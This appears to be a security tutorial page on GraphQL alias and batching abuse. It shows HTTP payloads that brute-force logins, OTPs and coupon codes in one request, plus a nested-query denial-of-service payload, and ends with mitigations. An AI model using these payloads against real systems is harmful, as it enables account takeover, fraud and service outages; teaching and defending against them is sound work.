GraphQL Hacking: The Complete Practical Guide
GraphQL Batching and Alias Abuse
How GraphQL aliasing and batching defeat per-request rate limits: brute-force logins, OTPs, and coupons under one HTTP call, plus the DoS amplification angle.
Published
Per-request rate limits assume one request equals one operation. GraphQL breaks that assumption: a single request can carry hundreds of operations through aliasing or batching, so a throttled login or OTP endpoint becomes brute-forceable under one HTTP call. This page covers both techniques. Practice on a free live target.
Aliasing: many calls in one operation
GraphQL lets you call the same field multiple times in one operation by giving each call an alias. That means one request can make hundreds of attempts, and a per-request limiter counts it once:
POST /graphql HTTP/1.1
Host: target.example
Content-Type: application/json
{"query":"mutation { a: login(user:\"admin\", pass:\"123456\"){ token } b: login(user:\"admin\", pass:\"password\"){ token } c: login(user:\"admin\", pass:\"admin\"){ token } d: login(user:\"admin\", pass:\"letmein\"){ token } }"}HTTP/1.1 200 OK
Content-Type: application/json
{"data":{"a":{"token":null},"b":{"token":null},"c":{"token":"eyJhbGciOi..."},"d":{"token":null}}}Alias c returned a token: admin/admin worked. Four attempts (or four hundred) rode in on one request, and a limiter that caps "login attempts per request" did nothing. Some servers return failed attempts in an errors array instead of a null token (so data.a is null with a matching entry in errors), but every alias still executes, so the successful one still comes back.
Brute forcing logins, OTPs, and coupons
The pattern generalizes to anything guessable behind a per-request limit:
login(user, pass) password spraying under one request
verifyOtp(code) all 000000-999999 split across a few large requests
redeemCoupon(code) enumerate coupon codes
resetToken(token) guess a short reset tokenAn OTP with a million values and a "5 tries per request" limit falls if each request can carry thousands of aliased attempts.
Array batching (when the server enables it)
A second form sends a JSON array of separate operations in one HTTP request:
[
{"query":"mutation{ redeem(code:\"AAAA\"){ ok } }"},
{"query":"mutation{ redeem(code:\"AAAB\"){ ok } }"},
{"query":"mutation{ redeem(code:\"AAAC\"){ ok } }"}
]Array batching has to be supported server-side, and defaults vary by implementation. Apollo Server 4 disables it by default (it requires allowBatchedHttpRequests: true, whereas Apollo Server 3 enabled it), while some others leave it on, so treat it as "try it, it may be on." Aliasing is the more dependable technique because it lives inside one normal operation.
The DoS amplification angle
The same packing enables resource exhaustion. A deeply nested or circular query forces exponential resolution when there is no depth or cost limit:
query {
posts { author { posts { author { posts { author { id } } } } } }
}This only bites when the schema actually has the circular relationship (posts to author to posts) and no depth or cost limiting is in place. With those, one small request can pin the server.
Edge variants
200 aliases in one mutation scale the alias count until the response slows
batch array of 1000 operations where array batching is enabled
alias + variables reuse one parameterized operation with many variable setsFixing it
- Rate-limit by resolved work, not by HTTP request. Count operations and fields, not calls.
- Cap aliases and batch size, and disable array batching if you do not need it.
- Enforce depth and cost/complexity limits to kill nested and circular amplification.
Full guidance is in preventing GraphQL attacks. Next, forge a cross-site mutation in GraphQL CSRF, or try a batch attack on a free lab.